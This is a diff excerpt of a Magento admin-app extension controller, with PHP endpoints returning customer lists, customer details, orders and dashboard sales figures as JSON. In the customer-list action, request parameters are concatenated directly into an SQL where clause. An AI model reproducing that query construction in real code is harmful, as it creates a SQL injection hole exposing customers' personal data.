'image' => ($product_data->getImage())?Mage::helper('catalog/image')->init($product_data, 'image',$product_data->getImage())->resize(300,330)->keepAspectRatio(true)->constrainOnly(true)->__toString():'N/A',
|
| 1056 |
-
'associated_skus' => $associated_products_details
|
| 1057 |
-
);
|
| 1058 |
-
|
| 1059 |
-
$productResultArr = array('productdata' => $product_details , 'associated_products_list' =>$associated_products_list);
|
| 1060 |
-
//echo "<pre>"; print_r($productResultArr); die;
|
| 1061 |
-
$productDetailResult = Mage::helper('core')->jsonEncode($productResultArr);
|
| 1062 |
-
return Mage::app()->getResponse()->setBody($productDetailResult);
|
| 1063 |
-
}
|
| 1064 |
-
catch (Exception $e)
|
| 1065 |
-
{
|
| 1066 |
-
$product_details = array (
|
| 1067 |
-
'status' => 'error',
|
| 1068 |
-
'message' => $e->getMessage()
|
| 1069 |
-
);
|
| 1070 |
-
return Mage::app()->getResponse()->setBody(Mage::helper('core')->jsonEncode($product_details));
|
| 1071 |
-
}
|
| 1072 |
-
}
|
| 1073 |
-
else
|
| 1074 |
-
{
|
| 1075 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 1076 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body of json products data
|
| 1077 |
-
}
|
| 1078 |
-
}
|
| 1079 |
-
|
| 1080 |
-
|
| 1081 |
-
/* If you want to check function is working perfect or not please direct hit this URL on your browser: YOUR WEB BASE URL/emizenstore/mobileadmin/index/admincustomerlist // pass parameter like this after admincustomerlist from this URL ?session=sdfsdf
|
| 1082 |
-
* required parameter: @ session , limit See $post_data variable
|
| 1083 |
-
*/
|
| 1084 |
-
public function AdminCustomerListAction()
|
| 1085 |
-
{
|
| 1086 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check if extension enabled or not
|
| 1087 |
-
{
|
| 1088 |
-
$post_data = Mage::app()->getRequest()->getParams(); // get parameter from array
|
| 1089 |
-
$sessionId = $post_data['session']; // get session
|
| 1090 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // if exists session is return true
|
| 1091 |
-
{
|
| 1092 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 1093 |
-
return false;
|
| 1094 |
-
}
|
| 1095 |
-
|
| 1096 |
-
$limit = $post_data['limit']; // define limit
|
| 1097 |
-
$page = $post_data['page_num'];
|
| 1098 |
-
$offset = $post_data['offset']; // define offset
|
| 1099 |
-
$new_customers = $post_data['last_fetch_customer']; // define last fetch customer time
|
| 1100 |
-
$is_refresh = $post_data['is_refresh']; // pass is_refresh int 1 or 0
|
| 1101 |
-
$customers = Mage::getModel('customer/customer')->getCollection()->addAttributeToSelect('*')->setOrder('entity_id', 'desc');
|
| 1102 |
-
|
| 1103 |
-
$before_coll = count(Mage::getModel('customer/customer')->getCollection()->addAttributeToSelect('*')->setOrder('entity_id', 'desc')); //echo $before_coll; die;
|
| 1104 |
-
|
| 1105 |
-
if(isset($post_data['offset']))
|
| 1106 |
-
{
|
| 1107 |
-
$customers->addAttributeToFilter('entity_id', array('lt' => $post_data['offset'])); // lt means less then
|
| 1108 |
-
}
|
| 1109 |
-
|
| 1110 |
-
if($is_refresh == 1) // if 1 refresh last updated entry come or not
|
| 1111 |
-
{
|
| 1112 |
-
$last_fetch_customer = $post_data['last_fetch_customer'];
|
| 1113 |
-
$min_fetch_customer = $post_data['min_fetch_customer'];
|
| 1114 |
-
$last_updated = Mage::helper('mobileadmin')->getActualDate($post_data['last_updated']);
|
| 1115 |
-
$customers->getSelect()->where("(e.entity_id BETWEEN '".$min_fetch_customer."'AND '".$last_fetch_customer ."' AND updated_at > '".$last_updated."') OR e.entity_id >'".$last_fetch_customer."'");
|
| 1116 |
-
}
|
| 1117 |
-
|
| 1118 |
-
//$customers->getSelect()->limit($limit); // define limit
|
| 1119 |
-
|
| 1120 |
-
if(isset($page) && $limit)
|
| 1121 |
-
{
|
| 1122 |
-
//echo $page."**".$limit; die;
|
| 1123 |
-
$customers->setPage($page,$limit);
|
| 1124 |
-
$customers->setPageSize($limit);
|
| 1125 |
-
}
|
| 1126 |
-
|
| 1127 |
-
$totl_rocrd = round($before_coll/$limit); //echo $totl_rocrd; die;
|
| 1128 |
-
|
| 1129 |
-
$i = ($page - 1)*$limit;
|
| 1130 |
-
|
| 1131 |
-
foreach($customers as $customer)
|
| 1132 |
-
{
|
| 1133 |
-
if($i < $before_coll)
|
| 1134 |
-
{
|
| 1135 |
-
$billing_address = Mage::getModel('customer/address')->load($customer->getDefaultBilling()); // get billing address
|
| 1136 |
-
$shipping_address = Mage::getModel('customer/address')->load($customer->getDefaultShipping()); // get shipping address
|
| 1137 |
-
|
| 1138 |
-
$customer_list[] = array(
|
| 1139 |
-
'entity_id' => $customer->getEntityId(), // make array of customer list
|
| 1140 |
-
'firstname' => $customer->getFirstname(),
|
| 1141 |
-
'lastname' => $customer->getLastname(),
|
| 1142 |
-
'email_id' => $customer->getEmail(),
|
| 1143 |
-
'telephone' => $billing_address->getData('telephone'),
|
| 1144 |
-
'billing_address_id' => $billing_address->getId(),
|
| 1145 |
-
'shipping_address_id' => $shipping_address->getId()
|
| 1146 |
-
);
|
| 1147 |
-
$i++;
|
| 1148 |
-
}
|
| 1149 |
-
}
|
| 1150 |
-
$updated_time = date("Y-m-d H:i:s", Mage::getModel('core/date')->timestamp(time())); // updated time
|
| 1151 |
-
$customerListResultArr = array('customerlistdata' => $customer_list,'updated_time' =>$updated_time,'total_record'=>$totl_rocrd);
|
| 1152 |
-
$customerListResult = Mage::helper('core')->jsonEncode($customerListResultArr);
|
| 1153 |
-
return Mage::app()->getResponse()->setBody($customerListResult); // return customer list in default json format
|
| 1154 |
-
}
|
| 1155 |
-
else
|
| 1156 |
-
{
|
| 1157 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 1158 |
-
return Mage::app()->getResponse()->setBody($isEnable);
|
| 1159 |
-
}
|
| 1160 |
-
}
|
| 1161 |
-
|
| 1162 |
-
/* If you want to check function is working perfect or not please direct hit this URL on your browser: YOUR WEB BASE URL/emizenstore/mobileadmin/index/admincustomerdetail // pass parameter like this after admincustomerdetail from this URL ?session=sdfsdf
|
| 1163 |
-
* required parameter: @ session , customer_id limit See $post_data variable
|
| 1164 |
-
*/
|
| 1165 |
-
public function AdminCustomerDetailAction()
|
| 1166 |
-
{
|
| 1167 |
-
if(Mage::helper('mobileadmin')->isEnable()) // if extension is enabled
|
| 1168 |
-
{
|
| 1169 |
-
$post_data = Mage::app()->getRequest()->getParams(); // get parameter
|
| 1170 |
-
$sessionId = $post_data['session']; // session id
|
| 1171 |
-
if(!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // if session not exists return access denied
|
| 1172 |
-
{
|
| 1173 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 1174 |
-
return false;
|
| 1175 |
-
}
|
| 1176 |
-
$customer_id = $post_data['customer_id']; // get customer id
|
| 1177 |
-
|
| 1178 |
-
$customerData = Mage::getModel('customer/customer')->load($customer_id); // load customer according to customer id
|
| 1179 |
-
|
| 1180 |
-
$basic_detail = array(
|
| 1181 |
-
'entity_id' => $customerData->getEntityId(), // customer detail in array
|
| 1182 |
-
'firstname' => $customerData->getFirstname(),
|
| 1183 |
-
'lastname' => $customerData->getLastname(),
|
| 1184 |
-
'email' => $customerData->getEmail(),
|
| 1185 |
-
);
|
| 1186 |
-
|
| 1187 |
-
foreach ($customerData->getAddresses() as $address)
|
| 1188 |
-
{
|
| 1189 |
-
$billing_type = 0;
|
| 1190 |
-
$shipping_type = 0; // make customer address array
|
| 1191 |
-
$billing_country_name = null;
|
| 1192 |
-
|
| 1193 |
-
if($address->getCountryId()) // get country id
|
| 1194 |
-
{
|
| 1195 |
-
$billing_country_name = Mage::getModel('directory/country')->loadByCode($address->getCountryId())->getName();
|
| 1196 |
-
}
|
| 1197 |
-
|
| 1198 |
-
if ($address->getId()==$customerData->getDefaultBilling()) // get billing type
|
| 1199 |
-
$billing_type=1;
|
| 1200 |
-
|
| 1201 |
-
if ($address->getId()==$customerData->getDefaultShipping()) // get shipping type
|
| 1202 |
-
$shipping_type=1;
|
| 1203 |
-
|
| 1204 |
-
$billing_address_detail[] = array( // make array of billing address detail
|
| 1205 |
-
'firstname' => $address->getFirstname(),
|
| 1206 |
-
'lastname' => $address->getLastname(),
|
| 1207 |
-
'street' => $address->getData('street'),
|
| 1208 |
-
'city' => $address->getCity(),
|
| 1209 |
-
'region_id' => $address->getRegionId() ? $address->getRegionId() : '',
|
| 1210 |
-
'region' => $address->getRegion(),
|
| 1211 |
-
'postcode' => $address->getPostcode(),
|
| 1212 |
-
'country' => $billing_country_name,
|
| 1213 |
-
'country_id' => $address->getCountryId(),
|
| 1214 |
-
'telephone' => $address->getTelephone(),
|
| 1215 |
-
'address_id' => $address->getId(),
|
| 1216 |
-
'billing_type' => $billing_type,
|
| 1217 |
-
'shipping_type' => $shipping_type
|
| 1218 |
-
);
|
| 1219 |
-
}
|
| 1220 |
-
|
| 1221 |
-
$customer_detail = array(
|
| 1222 |
-
'basic_details' => $basic_detail, // customer address detail
|
| 1223 |
-
'address' => $billing_address_detail,
|
| 1224 |
-
);
|
| 1225 |
-
|
| 1226 |
-
$order_detail = $this->_getCustomerOrderList($customer_id); // get customer order list according to customer id
|
| 1227 |
-
|
| 1228 |
-
$customerDetailResultArr = array('customerDetails' => $customer_detail,'customerOrderDetail' =>$order_detail); /// return customer detail
|
| 1229 |
-
|
| 1230 |
-
$customerDetailResult = Mage::helper('core')->jsonEncode($customerDetailResultArr);
|
| 1231 |
-
|
| 1232 |
-
return Mage::app()->getResponse()->setBody($customerDetailResult);
|
| 1233 |
-
}else{
|
| 1234 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 1235 |
-
return Mage::app()->getResponse()->setBody($isEnable);
|
| 1236 |
-
}
|
| 1237 |
-
}
|
| 1238 |
-
|
| 1239 |
-
/* make protected function to use further function directly
|
| 1240 |
-
* // It will return customer order list by customer id
|
| 1241 |
-
*/
|
| 1242 |
-
protected function _getCustomerOrderList($customer_id)
|
| 1243 |
-
{
|
| 1244 |
-
$orderCollection = Mage::getResourceModel('sales/order_grid_collection')->addFieldToFilter('customer_id',Array('eq'=>$customer_id))->setOrder('entity_id', 'desc'); // order collection with filter spicific parameter
|
| 1245 |
-
|
| 1246 |
-
$limit = 5; // define limit 5
|
| 1247 |
-
|
| 1248 |
-
$orderCollection->getSelect()->limit($limit); // get latest 5 orders
|
| 1249 |
-
|
| 1250 |
-
foreach($orderCollection as $order) // order detail array, which will return in array
|
| 1251 |
-
{
|
| 1252 |
-
$orderListData[] = array(
|
| 1253 |
-
'entity_id' => $order->getEntityId(),
|
| 1254 |
-
'increment_id' => $order->getIncrementId(),
|
| 1255 |
-
'store_id' => $order->getStoreId(),
|
| 1256 |
-
'customer_name' => $order->getBillingName(),
|
| 1257 |
-
'status' => $order->getStatus(),
|
| 1258 |
-
'order_date' => date('Y-m-d H:i:s', strtotime($order->getCreatedAt())),
|
| 1259 |
-
'grand_total' => Mage::helper('mobileadmin')->getPrice($order->getGrandTotal()),
|
| 1260 |
-
'toal_qty' => Mage::getModel('sales/order')->load($order->getEntityId())->getTotalQtyOrdered()
|
| 1261 |
-
);
|
| 1262 |
-
}
|
| 1263 |
-
return $orderListData; // return customer order detail
|
| 1264 |
-
}
|
| 1265 |
-
|
| 1266 |
-
/* Filter customer accoprding to firstname and lastname and email
|
| 1267 |
-
* It will return filterable collection of customer
|
| 1268 |
-
*/
|
| 1269 |
-
public function AdminFilterCustomerListAction()
|
| 1270 |
-
{
|
| 1271 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 1272 |
-
{
|
| 1273 |
-
$post_data = Mage::app()->getRequest()->getParams(); // get data from post method
|
| 1274 |
-
$sessionId = $post_data['session']; // session id
|
| 1275 |
-
if(!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // if logged in return true otherwise access denied
|
| 1276 |
-
{
|
| 1277 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 1278 |
-
return false;
|
| 1279 |
-
}
|
| 1280 |
-
$search = $post_data['search_content']; // pass search content which you want to search by firstname,lastname,email
|
| 1281 |
-
|
| 1282 |
-
// get latest customer from customer model
|
| 1283 |
-
$customers = Mage::getModel('customer/customer')->getCollection()->addAttributeToSelect('*')->setOrder('entity_id', 'desc');
|
| 1284 |
-
|
| 1285 |
-
if($search != null) // if search content is not null return filterable data
|
| 1286 |
-
{
|
| 1287 |
-
$customers->addAttributeToFilter(array(
|
| 1288 |
-
array(
|
| 1289 |
-
'attribute' => 'firstname', // firstname
|
| 1290 |
-
'like' => '%'.$search.'%'
|
| 1291 |
-
),
|
| 1292 |
-
array(
|
| 1293 |
-
'attribute' => 'lastname', // lastname
|
| 1294 |
-
'like' => '%'.$search.'%'
|
| 1295 |
-
),
|
| 1296 |
-
array(
|
| 1297 |
-
'attribute' => 'email', // email
|
| 1298 |
-
'like' => '%'.$search.'%'
|
| 1299 |
-
)
|
| 1300 |
-
));
|
| 1301 |
-
}
|
| 1302 |
-
|
| 1303 |
-
foreach($customers as $customer) // make customer filterable data in array
|
| 1304 |
-
{
|
| 1305 |
-
$billing_address = Mage::getModel('customer/address')->load($customer->getDefaultBilling());
|
| 1306 |
-
$shipping_address = Mage::getModel('customer/address')->load($customer->getDefaultShipping());
|
| 1307 |
-
|
| 1308 |
-
$customer_list[] = array(
|
| 1309 |
-
'entity_id' => $customer->getEntityId(),
|
| 1310 |
-
'firstname' => $customer->getFirstname(), // get every customer detail
|
| 1311 |
-
'lastname' => $customer->getLastname(),
|
| 1312 |
-
'email_id' => $customer->getEmail(),
|
| 1313 |
-
'telephone' => $billing_address->getData('telephone'),
|
| 1314 |
-
'billing_address_id' => $billing_address->getId(),
|
| 1315 |
-
'shipping_address_id' => $shipping_address->getId(),
|
| 1316 |
-
);
|
| 1317 |
-
}
|
| 1318 |
-
$customerListResultArr = array('customerlistdata' => $customer_list); // return customer array
|
| 1319 |
-
$customerListResult = Mage::helper('core')->jsonEncode($customerListResultArr);
|
| 1320 |
-
return Mage::app()->getResponse()->setBody($customerListResult);
|
| 1321 |
-
}
|
| 1322 |
-
else
|
| 1323 |
-
{
|
| 1324 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 1325 |
-
return Mage::app()->getResponse()->setBody($isEnable);
|
| 1326 |
-
}
|
| 1327 |
-
}
|
| 1328 |
-
|
| 1329 |
-
/* Shoing x and y value for admin graph in particular days
|
| 1330 |
-
* @ required parameter: session
|
| 1331 |
-
*/
|
| 1332 |
-
public function AdminDashboardGraphAction()
|
| 1333 |
-
{
|
| 1334 |
-
|
| 1335 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check if extension enabled or not
|
| 1336 |
-
{
|
| 1337 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 1338 |
-
$sessionId = $post_data['session'];
|
| 1339 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check session if exists session continue otherwise access denied
|
| 1340 |
-
{
|
| 1341 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 1342 |
-
return false;
|
| 1343 |
-
}
|
| 1344 |
-
|
| 1345 |
-
$storeId = $post_data['storeid']; // get magento admin stores
|
| 1346 |
-
$type_id = $post_data['days_for_dashboard']; // days for graph like 7 days , current month etc.
|
| 1347 |
-
|
| 1348 |
-
$orderTotalByDateTotoal = array();
|
| 1349 |
-
$orderTotalByDateTax = array();
|
| 1350 |
-
$orderTotalByDateShipping = array();
|
| 1351 |
-
$orderTotalByDateQty = array();
|
| 1352 |
-
|
| 1353 |
-
$now = Mage::getModel('core/date')->timestamp(time()); // current datetime
|
| 1354 |
-
$end_date = date('Y-m-d 23:59:59', $now); // change current datetime format
|
| 1355 |
-
$start_date = '';
|
| 1356 |
-
$orderCollection = Mage::getModel('sales/order')->getCollection()->addFieldToFilter('store_id',Array('eq'=>$storeId))->addFieldToFilter('status',Array('eq'=>'complete'))->setOrder('entity_id', 'desc');
|
| 1357 |
-
|
| 1358 |
-
// select days range for different different days
|
| 1359 |
-
if($type_id == 7) // for 7 days
|
| 1360 |
-
{
|
| 1361 |
-
$start_date = date('Y-m-d 00:00:00', strtotime('-6 days'));
|
| 1362 |
-
}
|
| 1363 |
-
elseif($type_id == 30) // for 30 days
|
| 1364 |
-
{
|
| 1365 |
-
$start_date = date('Y-m-d 00:00:00', strtotime('-29 days'));
|
| 1366 |
-
}
|
| 1367 |
-
elseif($type_id == 90) // for 90 days
|
| 1368 |
-
{
|
| 1369 |
-
$start_date = date('Y-m-d 00:00:00', strtotime('-89 days'));
|
| 1370 |
-
}
|
| 1371 |
-
else if ($type_id == 24) // for 24 days
|
| 1372 |
-
{
|
| 1373 |
-
$end_date = date("Y-m-d H:m:s");
|
| 1374 |
-
$start_date = date("Y-m-d H:m:s", strtotime('-24 hours', time()));
|
| 1375 |
-
$timezoneLocal = Mage::app()->getStore()->getConfig(Mage_Core_Model_Locale::XML_PATH_DEFAULT_TIMEZONE);
|
| 1376 |
-
|
| 1377 |
-
list ($dateStart, $dateEnd) = Mage::getResourceModel('reports/order_collection')
|
| 1378 |
-
->getDateRange('12h', '', '', true);
|
| 1379 |
-
|
| 1380 |
-
$dateStart->setTimezone($timezoneLocal);
|
| 1381 |
-
$dateEnd->setTimezone($timezoneLocal);
|
| 1382 |
-
|
| 1383 |
-
$dates = array();
|
| 1384 |
-
|
| 1385 |
-
while($dateStart->compare($dateEnd) < 0)
|
| 1386 |
-
{
|
| 1387 |
-
$d = $dateStart->toString('yyyy-MM-dd HH:mm:ss');
|
| 1388 |
-
$dateStart->addHour(1);
|
| 1389 |
-
$dates[] = $d;
|
| 1390 |
-
}
|
| 1391 |
-
|
| 1392 |
-
$start_date = $dates[0];
|
| 1393 |
-
$end_date = $dates[count($dates)-1];
|
| 1394 |
-
|
| 1395 |
-
$orderCollection->addAttributeToFilter('created_at', array('from'=>$start_date, 'to'=>$end_date));
|
| 1396 |
-
$total_count = count($orderCollection);
|
| 1397 |
-
}
|
| 1398 |
-
//echo $type_id; die;
|
| 1399 |
-
if($type_id != 'year')
|
| 1400 |
-
{
|
| 1401 |
-
if ($type_id=='month')
|
| 1402 |
-
{
|
| 1403 |
-
$end_date = date("Y-m-d H:m:s");
|
| 1404 |
-
$start_date = date('Y-m-01 H:m:s');
|
| 1405 |
-
}
|
| 1406 |
-
|
| 1407 |
-
if($type_id!=24)
|
| 1408 |
-
{
|
| 1409 |
-
$orderCollection->addAttributeToFilter('created_at', array('from'=>$start_date, 'to'=>$end_date));
|
| 1410 |
-
$total_count = count($orderCollection);
|
| 1411 |
-
$dates = $this->getDatesFromRange($start_date, $end_date);
|
| 1412 |
-
}
|
| 1413 |
-
$count = 0;
|
| 1414 |
-
foreach($dates as $date)
|
| 1415 |
-
{
|
| 1416 |
-
//$orderCollectionByDate = Mage::getModel('sales/order')->getCollection()->addFieldToFilter('store_id',Array('eq'=>$storeId))->addFieldToFilter('status',Array('eq'=>'complete'))->setOrder('entity_id', 'desc');
|
| 1417 |
-
$orderCollectionByDate = Mage::getModel('sales/order')->getCollection();
|
| 1418 |
-
|
| 1419 |
-
if($type_id==24)
|
| 1420 |
-
{
|
| 1421 |
-
$dateStart = $dates[$count];
|
| 1422 |
-
$dateEnd = $dates[$count+1];
|
| 1423 |
-
}
|
| 1424 |
-
else
|
| 1425 |
-
{
|
| 1426 |
-
$dateStart = date('Y-m-d 00:00:00',strtotime($date));
|
| 1427 |
-
$dateEnd = date('Y-m-d 23:59:59',strtotime($date));
|
| 1428 |
-
}
|
| 1429 |
-
$orderByDate = $orderCollectionByDate->addAttributeToFilter('created_at', array('from'=>$dateStart, 'to'=>$dateEnd));
|
| 1430 |
-
//echo "<pre>"; print_r($orderByDate->getData());
|
| 1431 |
-
//$orderByDate->getSelect()->columns('SUM(grand_total) AS grand_total_sum');
|
| 1432 |
-
// $orderByDate->getSelect()->group(array('store_id'));
|
| 1433 |
-
// $orderdata= $orderByDate->getData();
|
| 1434 |
-
//echo count($orderByDate); die;
|
| 1435 |
-
if(count($orderByDate) == 0)
|
| 1436 |
-
{
|
| 1437 |
-
if ($type_id==24)
|
| 1438 |
-
{
|
| 1439 |
-
$orderTotalByDate[date("Y-m-d H:i",strtotime($date))] = 0;
|
| 1440 |
-
}
|
| 1441 |
-
else if ($type_id=='month')
|
| 1442 |
-
{
|
| 1443 |
-
$orderTotalByDate[date('d',strtotime($date))] = 0;
|
| 1444 |
-
}
|
| 1445 |
-
else
|
| 1446 |
-
{
|
| 1447 |
-
$orderTotalByDate[$date] = 0;
|
| 1448 |
-
}
|
| 1449 |
-
}
|
| 1450 |
-
else
|
| 1451 |
-
{
|
| 1452 |
-
//echo $type_id; die;
|
| 1453 |
-
if($type_id==24)
|
| 1454 |
-
{
|
| 1455 |
-
//$ordersByDate[date("Y-m-d H:i",strtotime($date))][] = $orderdata[0]['grand_total_sum'];
|
| 1456 |
-
//$orderTotalByDate[date("Y-m-d H:i",strtotime($date))] = array_sum($ordersByDate[date("Y-m-d H:i",strtotime($date))]);
|
| 1457 |
-
$orderTotalByDate[date("Y-m-d H:i",strtotime($date))] = count($orderByDate);
|
| 1458 |
-
|
| 1459 |
-
$orderByDate->getSelect()->columns('SUM(grand_total) AS grand_total_sum');
|
| 1460 |
-
$orderByDate->getSelect()->columns('SUM(tax_amount) AS tax_total_sum');
|
| 1461 |
-
$orderByDate->getSelect()->columns('SUM(shipping_amount) AS shipping_total_sum');
|
| 1462 |
-
$orderByDate->getSelect()->columns('SUM(total_qty_ordered) AS qty_total_sum');
|
| 1463 |
-
|
| 1464 |
-
$orderByDateData = $orderByDate->getData();
|
| 1465 |
-
|
| 1466 |
-
$ordersByDate[$date][] = $orderByDateData[0]['grand_total_sum'];
|
| 1467 |
-
$orderTotalByDateTotoal[] = array_sum($ordersByDate[$date]);
|
| 1468 |
-
|
| 1469 |
-
$ordersByDateTax[$date][] = $orderByDateData[0]['tax_total_sum'];
|
| 1470 |
-
$orderTotalByDateTax[] = array_sum($ordersByDateTax[$date]);
|
| 1471 |
-
|
| 1472 |
-
$ordersByDateShipping[$date][] = $orderByDateData[0]['shipping_total_sum'];
|
| 1473 |
-
$orderTotalByDateShipping[] = array_sum($ordersByDateShipping[$date]);
|
| 1474 |
-
|
| 1475 |
-
$ordersByDateQty[$date][] = $orderByDateData[0]['qty_total_sum'];
|
| 1476 |
-
$orderTotalByDateQty[] = array_sum($ordersByDateQty[$date]);
|
| 1477 |
-
|
| 1478 |
-
}
|
| 1479 |
-
else if ($type_id=='month')
|
| 1480 |
-
{
|
| 1481 |
-
//$ordersByDate[date('d',strtotime($date))][] = $orderdata[0]['grand_total_sum'];
|
| 1482 |
-
//$orderTotalByDate[date('d',strtotime($date))] = array_sum($ordersByDate[date('d',strtotime($date))]);
|
| 1483 |
-
$orderTotalByDate[date('d',strtotime($date))] = count($orderByDate);
|
| 1484 |
-
|
| 1485 |
-
$orderByDate->getSelect()->columns('SUM(grand_total) AS grand_total_sum');
|
| 1486 |
-
$orderByDate->getSelect()->columns('SUM(tax_amount) AS tax_total_sum');
|
| 1487 |
-
$orderByDate->getSelect()->columns('SUM(shipping_amount) AS shipping_total_sum');
|
| 1488 |
-
$orderByDate->getSelect()->columns('SUM(total_qty_ordered) AS qty_total_sum');
|
| 1489 |
-
|
| 1490 |
-
$orderByDateData = $orderByDate->getData();
|
| 1491 |
-
|
| 1492 |
-
$ordersByDate[$date][] = $orderByDateData[0]['grand_total_sum'];
|
| 1493 |
-
$orderTotalByDateTotoal[] = array_sum($ordersByDate[$date]);
|
| 1494 |
-
|
| 1495 |
-
$ordersByDateTax[$date][] = $orderByDateData[0]['tax_total_sum'];
|
| 1496 |
-
$orderTotalByDateTax[] = array_sum($ordersByDateTax[$date]);
|
| 1497 |
-
|
| 1498 |
-
$ordersByDateShipping[$date][] = $orderByDateData[0]['shipping_total_sum'];
|
| 1499 |
-
$orderTotalByDateShipping[] = array_sum($ordersByDateShipping[$date]);
|
| 1500 |
-
|
| 1501 |
-
$ordersByDateQty[$date][] = $orderByDateData[0]['qty_total_sum'];
|
| 1502 |
-
$orderTotalByDateQty[] = array_sum($ordersByDateQty[$date]);
|
| 1503 |
-
|
| 1504 |
-
}
|
| 1505 |
-
else
|
| 1506 |
-
{
|
| 1507 |
-
//$ordersByDate[$date][] = $orderdata[0]['grand_total_sum'];
|
| 1508 |
-
//$orderTotalByDate[$date] = array_sum($ordersByDate[$date]);
|
| 1509 |
-
$orderTotalByDate[$date] = count($orderByDate);
|
| 1510 |
-
|
| 1511 |
-
|
| 1512 |
-
$orderByDate->getSelect()->columns('SUM(grand_total) AS grand_total_sum');
|
| 1513 |
-
$orderByDate->getSelect()->columns('SUM(tax_amount) AS tax_total_sum');
|
| 1514 |
-
$orderByDate->getSelect()->columns('SUM(shipping_amount) AS shipping_total_sum');
|
| 1515 |
-
$orderByDate->getSelect()->columns('SUM(total_qty_ordered) AS qty_total_sum');
|
| 1516 |
-
|
| 1517 |
-
$orderByDateData = $orderByDate->getData();
|
| 1518 |
-
|
| 1519 |
-
$ordersByDate[$date][] = $orderByDateData[0]['grand_total_sum'];
|
| 1520 |
-
$orderTotalByDateTotoal[] = array_sum($ordersByDate[$date]);
|
| 1521 |
-
|
| 1522 |
-
$ordersByDateTax[$date][] = $orderByDateData[0]['tax_total_sum'];
|
| 1523 |
-
$orderTotalByDateTax[] = array_sum($ordersByDateTax[$date]);
|
| 1524 |
-
|
| 1525 |
-
$ordersByDateShipping[$date][] = $orderByDateData[0]['shipping_total_sum'];
|
| 1526 |
-
$orderTotalByDateShipping[] = array_sum($ordersByDateShipping[$date]);
|
| 1527 |
-
|
| 1528 |
-
$ordersByDateQty[$date][] = $orderByDateData[0]['qty_total_sum'];
|
| 1529 |
-
$orderTotalByDateQty[] = array_sum($ordersByDateQty[$date]);
|
| 1530 |
-
|
| 1531 |
-
|
| 1532 |
-
}
|
| 1533 |
-
}
|
| 1534 |
-
|
| 1535 |
-
$count++;
|
| 1536 |
-
}
|
| 1537 |
-
}
|
| 1538 |
-
else
|
| 1539 |
-
{
|
| 1540 |
-
$end_date = date ('Y-m-d');
|
| 1541 |
-
$start_date = date ('Y-01-01');
|
| 1542 |
-
$orderCollection->addAttributeToFilter('created_at', array('from'=>$start_date, 'to'=>$end_date));
|
| 1543 |
-
$total_count = count($orderCollection);
|
| 1544 |
-
$months = $this->get_months($start_date, $end_date);
|
| 1545 |
-
$current_year = date("Y");
|
| 1546 |
-
foreach ($months as $month)
|
| 1547 |
-
{
|
| 1548 |
-
$first_day = $this->firstDay($month,$current_year);
|
| 1549 |
-
$ordersByDate = array();
|
| 1550 |
-
|
| 1551 |
-
if ($month==date('F'))
|
| 1552 |
-
$last_day = date ('Y-m-d');
|
| 1553 |
-
else
|
| 1554 |
-
$last_day = $this->lastday($month,$current_year);
|
| 1555 |
-
|
| 1556 |
-
$dates = $this->getDatesFromRange($first_day, $last_day);
|
| 1557 |
-
|
| 1558 |
-
foreach($dates as $date)
|
| 1559 |
-
{
|
| 1560 |
-
|
| 1561 |
-
$orderCollectionByDate = Mage::getModel('sales/order')->getCollection()->addFieldToFilter('store_id',Array('eq'=>$storeId));
|
| 1562 |
-
|
| 1563 |
-
$dateStart = date('Y-m-d 00:00:00',strtotime($date));
|
| 1564 |
-
$dateEnd = date('Y-m-d 23:59:59',strtotime($date));
|
| 1565 |
-
$orderByDate = $orderCollectionByDate->addAttributeToFilter('created_at', array('from'=>$dateStart, 'to'=>$dateEnd));
|
| 1566 |
-
|
| 1567 |
-
}
|
| 1568 |
-
|
| 1569 |
-
//$orderTotalByDate[$month] = array_sum($ordersByDate);
|
| 1570 |
-
$orderTotalByDate[$month] = count($orderByDate);
|
| 1571 |
-
|
| 1572 |
-
$orderByDate->getSelect()->columns('SUM(grand_total) AS grand_total_sum');
|
| 1573 |
-
$orderByDate->getSelect()->columns('SUM(tax_amount) AS tax_total_sum');
|
| 1574 |
-
$orderByDate->getSelect()->columns('SUM(shipping_amount) AS shipping_total_sum');
|
| 1575 |
-
$orderByDate->getSelect()->columns('SUM(total_qty_ordered) AS qty_total_sum');
|
| 1576 |
-
|
| 1577 |
-
$orderByDateData = $orderByDate->getData();
|
| 1578 |
-
|
| 1579 |
-
$ordersByDate[$date][] = $orderByDateData[0]['grand_total_sum'];
|
| 1580 |
-
$orderTotalByDateTotoal[] = array_sum($ordersByDate[$date]);
|
| 1581 |
-
|
| 1582 |
-
$ordersByDateTax[$date][] = $orderByDateData[0]['tax_total_sum'];
|
| 1583 |
-
$orderTotalByDateTax[] = array_sum($ordersByDateTax[$date]);
|
| 1584 |
-
|
| 1585 |
-
$ordersByDateShipping[$date][] = $orderByDateData[0]['shipping_total_sum'];
|
| 1586 |
-
$orderTotalByDateShipping[] = array_sum($ordersByDateShipping[$date]);
|
| 1587 |
-
|
| 1588 |
-
$ordersByDateQty[$date][] = $orderByDateData[0]['qty_total_sum'];
|
| 1589 |
-
$orderTotalByDateQty[] = array_sum($ordersByDateQty[$date]);
|
| 1590 |
-
|
| 1591 |
-
}
|
| 1592 |
-
}
|
| 1593 |
-
|
| 1594 |
-
/*** These commented lines get us grandTotal,lifeTimeSales,averageOrder if you want these, uncomment please ***/
|
| 1595 |
-
//$orderGrandTotal = strip_tags(Mage::helper('core')->currency(array_sum($orderTotalByDate)));
|
| 1596 |
-
//$lifeTimeSales = strip_tags(Mage::helper('core')->currency(round(Mage::getResourceModel('reports/order_collection')->addFieldToFilter('store_id', $storeId)->calculateSales()->load()->getFirstItem()->getLifetime(),2)));
|
| 1597 |
-
